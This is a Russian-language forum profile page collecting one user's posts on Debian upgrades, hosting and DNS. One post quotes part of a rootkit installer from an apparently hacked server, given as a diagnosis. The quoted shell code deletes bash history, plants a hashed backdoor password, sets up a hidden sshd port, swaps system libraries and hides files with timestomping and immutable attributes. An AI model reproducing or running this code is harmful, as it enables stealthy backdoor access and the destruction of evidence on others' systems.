Raistlin

Raistlin
Рейтинг
247
Регистрация
01.02.2010

myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости. А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...

Открою тайну: она мой клон :D

M_W, Оно мне надо? Я не сыщиком нанимался.

myhand:
Вы читали этот текст

В отличии от вас - да. И скажу, что набор символов "upgrade" встречается в тексте 26 раз, но нигде не встречается такой параметр. А рекомендация "safe-upgrade" это несколько другое. И если имелось ввиду вот это:

Так как некоторые необходимые пакеты конфликтуют при обновлении etch до lenny, непосредственный запуск aptitude dist-upgrade часто приводит к удалению большого числа пакетов, которые вы хотели бы сохранить. Поэтому мы рекомендуем производить обновление в две стадии — сначала минимальное обновление, чтобы разобраться с конфликтами, а затем полный dist-upgrade.

Сначала запустите:

# aptitude safe-upgrade
Это приведёт к обновлению только тех пакетов, которые можно обновить без необходимости удаления или установки других пакетов.

Следующий шаг зависит от набора установленных пакетов. В данном документе даны общие советы о том, какие методы должны быть использованы, но если есть сомнения, то перед тем как продолжить, рекомендуется проверить все пакеты, которые предлагаются к удалению каждым методом.

Вот некоторые пакеты, которые обычно предлагаются к удалению: base-config, hotplug, xlibs, netkit-inetd, python2.3, xfree86-common и xserver-common. Полный список устаревших пакетов в lenny см. Раздел 4.10, «Устаревшие пакеты».

Тогда, я думаю, разница очевидна. dist-upgrade по-другому обрабатывает зависимости, чтобы было понятнее. Больше никаких различий нет.

M_W:
подозрения конечно падают на старого хостера.

Вы бы хоть и старого и нового назвали. Может старый хостинг у стаминусов ВПСки держит - тогда ему на ддос в общем и по барабану будеть...

ArtPresident, Гм. У нас весь мир во что-то да верит. Странным не находите? Да хоть что подсунь вместо Христианства, результат тот же. Евреи он все обрезанные ходят по религиозным соображениям. Только не рассказывайте сказки, что это удобно, гигиенично и т.п. :D.

SEOSPIDER, Да я как бы почитал по сообщениям потом... Вроде не дядько. Или сумасшедший дядько :)

-Leo-,

1. Сначала добавьте домен в панель.

2. После - пишите в саппорт хостера...

3. Распространенная проблема у тех, кто сначала привязывает ДНС, а потом добавляет домены к хостеру.

Не, не дядько. :)

ну чтобы менять, надо снять аттрибут i точно так же. А вообще...

C вашей системой произошло описанное ниже, или что-то близкое. Только реформат, с последующим аудитом безопасности сайтов.

# checking if we got needed libs and filez

if [ ! -f /lib/libproc.a ]; then
mv lib/libproc.a /lib/
fi

if [ ! -f /lib/libproc.so.2.0.6 ]; then
mv lib/libproc.so.2.0.6 /lib/
fi

/sbin/ldconfig >/dev/null 2>&1

#if [ -f /lib/libncurses.so.5 ]; then
# echo ""
#else
# ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi

if [ -f /.bash_history ]; then
chattr -isa /.bash_history >/dev/null 2>&1
rm -rf /.bash_history
fi

if [ -f /bin/.bash_history ]; then
chattr -isa /bin/.bash_history
rm -rf /bin/.bash_history
fi

if [ ! -f /usr/bin/md5sum ]; then
touch -acmr /bin/ls bin/md5sum
cp bin/md5sum /usr/bin/md5sum
fi

if test -n "$1" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi

touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf

if test -n "$2" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi

if [ -f /lib/lidps1.so ]; then
chattr -isa /lib/lidps1.so
rm -rf /lib/lidps1.so
fi

if [ -f /usr/include/hosts.h ]; then
chattr -isa /usr/include/hosts.h
rm -rf /usr/include/hosts.h
fi

if [ -f /usr/include/file.h ]; then
chattr -isa /usr/include/file.h
rm -rf /usr/include/file.h
fi

if [ -f /usr/include/log.h ]; then
chattr -isa /usr/include/log.h
rm -rf /usr/include/log.h
fi

if [ -f /usr/include/proc.h ]; then
chattr -isa /usr/include/proc.h
rm -rf /usr/include/proc.h
fi

cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/
Всего: 4673